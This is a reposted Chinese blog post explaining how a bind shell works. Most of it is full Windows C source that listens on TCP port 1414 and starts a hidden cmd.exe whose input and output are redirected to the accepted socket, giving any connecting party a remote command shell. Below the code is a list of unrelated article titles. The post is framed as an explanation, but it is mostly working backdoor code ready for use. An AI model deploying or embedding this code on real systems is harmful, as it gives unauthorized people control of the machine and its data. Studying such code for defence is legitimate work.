博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Bindshell原理
阅读量:5942 次
发布时间:2019-06-19

本文共 1213 字,大约阅读时间需要 4 分钟。

原理很简单就是创建一个进程打开一个终端然后标准输入输出句柄重定位到一个网络端口

c版 win系统

#include
#pragma comment(lib,"Ws2_32.lib")int _tmain(int argc, TCHAR* argv[]){ //1.初始化一个sock服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); SOCKET stListen = INVALID_ATOM; //2.创建一个原始套接字 stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); SOCKADDR_IN stService; stService.sin_addr.s_addr = INADDR_ANY; //3.在任意地址上绑定一个端口 stService.sin_port = 1414; stService.sin_family = AF_INET; bind(stListen, (LPSOCKADDR)&stService, sizeof(stService)); //4.监听连接 listen(stListen, SOMAXCONN); //5.接受一个连接 stListen = accept(stListen, 0, 0); //6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上 PROCESS_INFORMATION stPI = { 0 }; STARTUPINFOA stSI = { 0 }; stSI.cb = sizeof(stSI); stSI.wShowWindow = SW_HIDE; stSI.dwFlags = STARTF_USESTDHANDLES; stSI.hStdInput = (HANDLE)stListen; stSI.hStdError = (HANDLE)stListen; stSI.hStdOutput = (HANDLE)stListen; CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI); //7.关闭相关句柄并释放相关资源 CloseHandle(stPI.hProcess); CloseHandle(stPI.hThread); closesocket(stListen); WSACleanup(); return 0;}

转载于:https://blog.51cto.com/haidragon/2125220

你可能感兴趣的文章
android 颜色值参考,(有颜色图
查看>>
在IIS(64位)上部署WCF服务访问Oracle数据库
查看>>
UltraISO软碟通U盘安装Centos7 的各种报错及解决方案
查看>>
C# 判断两张图片是否一致,极快速
查看>>
个人在 laravel 开发中使用到的一些技巧(持续更新)
查看>>
Go开发之路 -- 指针类型
查看>>
java 打包的两种方式
查看>>
LINQ to Entities 不识别方法“System.String ToString()”,因此该方法无法转换为存储表达式。...
查看>>
java ADT生成带签名的apk
查看>>
Opencv笔记(九)——图像阈值
查看>>
Android Touch事件原理加实例分析
查看>>
对网页是否为当前展示标签页、是否最小化、以及是否后台运行进行监听
查看>>
听君一席话,胜读十年书
查看>>
2.pandas数据清洗
查看>>
base64转码java版
查看>>
人工智能AI-机器视觉CV-数据挖掘DM-机器学习ML-神经网络-[资料集合贴]
查看>>
秋季4类疾病患者忌吃螃蟹
查看>>
POJ 1328 Radar lnstallation 2
查看>>
jquery鼠标悬停突出显示
查看>>
iOS enum 定义与使用
查看>>